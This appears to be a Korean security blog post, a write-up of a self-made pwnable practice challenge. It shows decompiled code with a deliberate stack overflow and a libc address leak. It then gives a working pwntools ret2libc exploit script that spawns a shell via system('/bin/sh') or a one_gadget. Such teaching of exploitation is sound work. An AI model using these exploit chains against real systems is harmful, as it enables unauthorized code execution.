상세 컨텐츠

본문 제목

RTL_x64 (5/25 포너블 실습 문제 만들기)

SYSTEM HACKING/CTF, etc

by koharin 2020. 5. 28. 15:00

본문

728x90
반응형

int read_input()
{
  int buf; // [rsp+0h] [rbp-10h]

  buf = 0;
  read(0, &buf, 8uLL);
  return atoi((const char *)&buf);
}
int menu()
{
  puts("1. vuln");
  puts("2. print");
  puts("3. quit");
  return printf("> ");
}
int useful_function()
{
  void *v0; // ST08_8

  v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "printf");
  return printf("printf() addr: %p\n", v0);
}
int Init()
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]
  int v5; // [rsp+3Ch] [rbp-4h]

  v5 = 0;
  memset(&buf, 0, 0x30uLL);
  Init();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v5 = read_input();
        if ( v5 != 1 )
          break;
        printf("input: ", argv);
        argv = (const char **)&buf;
        read(0, &buf, 0x60uLL);
      }
      if ( v5 != 2 )
        break;
      useful_function();
    }
    if ( v5 == 3 )
      break;
    puts("Invalid choice");
  }
  return 0;
}

 

while 문으로 반복적으로 메뉴 선택을 입력받고 있다.

메뉴1: 입력. overflow 취약점 발생

메뉴 2: dlsym 함수를 이용한 printf 실행 시 주소 출력. libc leak 가능해서 원하는 함수의 실행 시 주소를 구할 수 있다.

메뉴 3: 종료

 

메뉴2(libc leak) -> 메뉴1(구한 주소로 payload 전달) -> 메뉴3(while문 종료 후 리턴)

 

메뉴2: libc leak으로 필요한 함수의 실행 시 주소를 구한다. pwntools의 libc.symbols 사용

메뉴1: rp++에서 pop rdi ; ret 가젯 찾아서 system 함수의 '/bin/sh' 인자를 넣고, system 함수 호출한다.

메뉴3: while 문을 종료해야 return address에 적힌 주소로 리턴하면서 쉘을 실행시킬 수 있다.

one gadget 사용 시 return address에 one gadget 주소 넣기.


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
p = process("./RTL_x64")
elf = ELF("./RTL_x64")
p1ret = 0x400a13
libc = elf.libc
p.sendafter("> ", '2')
p.recvuntil(": ")
printf = int(p.recv(14), 16)
log.info("printf : "+hex(printf))
libcBase = printf - libc.symbols['printf']
log.info("libcBase : "+hex(libcBase))
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search('/bin/sh'))[0]
one_gadget = libcBase + 0xf1147

p.sendafter("> ", '1')
p.send('A'*(0x40+0x8) + p64(p1ret) + p64(binsh) + p64(system))
#p.sendafter("input: ", 'A'*(0x40+0x8) + p64(one_gadget))
p.sendlineafter("> ", '3')

p.interactive()

 

728x90
반응형

'SYSTEM HACKING > CTF, etc' 카테고리의 다른 글

[picoCTF 2014] rop1  (0) 2020.05.31
[TAMU 2019] pwn5  (0) 2020.05.31
[HITCON-Training] lab6: migration (2019.09.09, Fake EBP + ROP)  (0) 2020.05.27
[HITCON-Training] lab9 playfmt (Double Staged FSB)  (1) 2020.05.04
[ROP Emporium] pivot  (0) 2020.04.20

관련글 더보기